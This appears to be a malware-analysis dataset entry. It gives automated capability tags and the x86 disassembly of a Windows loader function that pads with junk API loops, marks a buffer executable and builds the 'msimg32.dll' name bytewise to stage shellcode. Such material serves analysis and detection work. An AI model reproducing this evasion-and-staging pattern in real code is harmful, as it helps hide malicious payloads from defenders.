Function at 0x41b510
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x31b8
call fcn.00408f10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e174
jge 0x41b546
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1d96
jle 0x41b560
cmp ebp, 0xc096a0
je 0x41b560
cmp dword [esp + 0x60], 0x95f3220
jne 0x41b569
inc esi
cmp esi, 0x98b86
jl 0x41b536
cmp dword [0x22734b0], 0xcf8
jne 0x41b598
push 0
push 0
call fcn.00403260
push 0
push 0
call fcn.004032cd
push 0
call fcn.0040387c
add esp, 0x14
push 0
call fcn.004036f6
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x41b5c3
mov eax, 0x5d1
add dword [0x22734b0], eax
cmp dword [0x22734b0], 3
jne 0x41b5e2
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x1cc]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41b5b0
mov ecx, dword [0x22734b0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x43f614], eax
mov eax, dword [0x22734b0]
xor esi, esi
test eax, eax
je 0x41b6b0
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitA]
cmp eax, 0xfe
jne 0x41b67f
push 0
call edi
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x10]
push ecx
push edx
push edx
lea eax, [esp + 0x1d4]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0x402ccc
push 0
call ebp
lea ecx, [esp + 0x2c]
xor eax, eax
push ecx
lea edx, [esp + 0x58]
push edx
push 0x402cf0
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.0041b260
mov eax, dword [0x22734b0]
cmp eax, 0x29
jne 0x41b6a7
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x22734b0]
inc esi
cmp esi, eax
jb 0x41b620
cmp eax, 0x70
jne 0x41b755
push 0
lea eax, [esp + 0x11cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x402cdc
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x402da4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x21d0]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x1cc]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x402dc0
push 0x402ddc
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x22734b0]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x41b78f
lea ecx, [esp + 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x22734b0]
cmp eax, 0xdf
jne 0x41b968
push 0x402dfc
push 0
push 0
call ebp
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x40]
push ecx
push edx
push edx
lea eax, [esp + 0x21d4]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x402e18
push 0x402e2c
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
call esi
lea ecx, [esp + 0x44]
push ecx
call edi
push 0
push 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov eax, dword [esp + 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x11cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x28]
push edx
push 0
lea eax, [esp + 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x402e4c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x20]
push ecx
call edi
lea edx, [esp + 0x24]
push edx
push 0x402e60
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [esp + 0x9cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x402e7c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x19cc]
push edx
push 0x402e94
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea eax, [esp + 0x29cc]
push eax
push 0x402ed0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x1cc]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea eax, [esp + 0x5c]
push 0
push eax
mov dword [esp + 0x60], 0
call fcn.00407650
add esp, 0xc
push 0
lea ecx, [esp + 0x58]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x22734b0]
dec dword [esp + 0x10]
jne 0x41b775
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x41b983
mov eax, dword [0x22734b0]
mov ecx, dword [0x43f614]
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
push ecx
mov byte [0x43a880], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041b4c0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ebx, [ebx]
cmp dword [0x22734b0], 0xba
jne 0x41b9d9
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x41b9e6
call fcn.0041b240
inc esi
cmp esi, 0x1605a
jl 0x41b9c0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov edi, 0xf2b8b
lea ebx, [ebx]
cmp dword [0x22734b0], 0x21
jne 0x41ba13
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x41ba00
push 0x43a880
mov dword [0x43a882], 0x33676d69
mov word [0x43a880], 0x736d
mov dword [0x43a888], 0x6c6c64
mov word [0x43a886], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x22734b0], 0xc30
jne 0x41babf
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push edi
lea eax, [esp + 0x1c]
push eax
push edi
lea ecx, [esp + 0x1d4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea edx, [esp + 0x29cc]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret